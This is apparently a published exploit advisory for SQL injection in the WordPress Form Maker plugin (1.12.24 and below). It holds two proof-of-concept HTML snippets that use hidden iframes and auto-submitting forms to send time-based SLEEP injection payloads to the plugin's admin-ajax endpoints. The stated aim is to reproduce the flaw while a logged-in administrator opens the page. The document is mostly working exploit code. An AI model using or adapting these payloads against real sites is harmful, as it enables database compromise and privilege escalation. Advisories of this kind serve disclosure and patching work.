# Title: WordPress Form Maker Plugin 1.12.24 - SQL Injection # Date: 2018-06-07 # Author: Neven Biruski # Software: WordPress Form Maker plugin # https://wordpress.org/plugins/form-maker/ # Version: 1.12.24 and below # Vendor Status: Vendor contacted, update released # The easiest way to reproduce the SQL injection vulnerabilities is to # open the presented HTML/JavaScript snippet in your browser while being # logged in as administrator or another user that is authorized to # access the plugin settings page. Users that do not have full # administrative privileges could abuse the database access the # vulnerabilities provide to either escalate their privileges or obtain # and modify database contents they were not supposed to be able to. # PoC 1 <iframe style="display:none" name="invisible"></iframe> <form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?action=FormMakerSQLMapping&task=db_table_struct" target="invisible"> <input type="hidden" name="name" value="wp_users WHERE 42=42 AND SLEEP(42)--;"/> </form> <script> document.getElementById("form").submit(); sleep(3000); </script> # PoC 2 <iframe style="display:none" name="invisible"></iframe> <form id="form" method="POST" action="http://vulnerablesite.com/wp-admin/admin-ajax.php?form_id=6&send_header=0&action=generete_csv&limitstart=0" target="invisible"> <input type="hidden" name="search_labels" value="2) AND (SELECT * FROM (SELECT(SLEEP(42)))XXX)-- XXX"/> </form> <script> document.getElementById("form").submit(); sleep(3000); </script>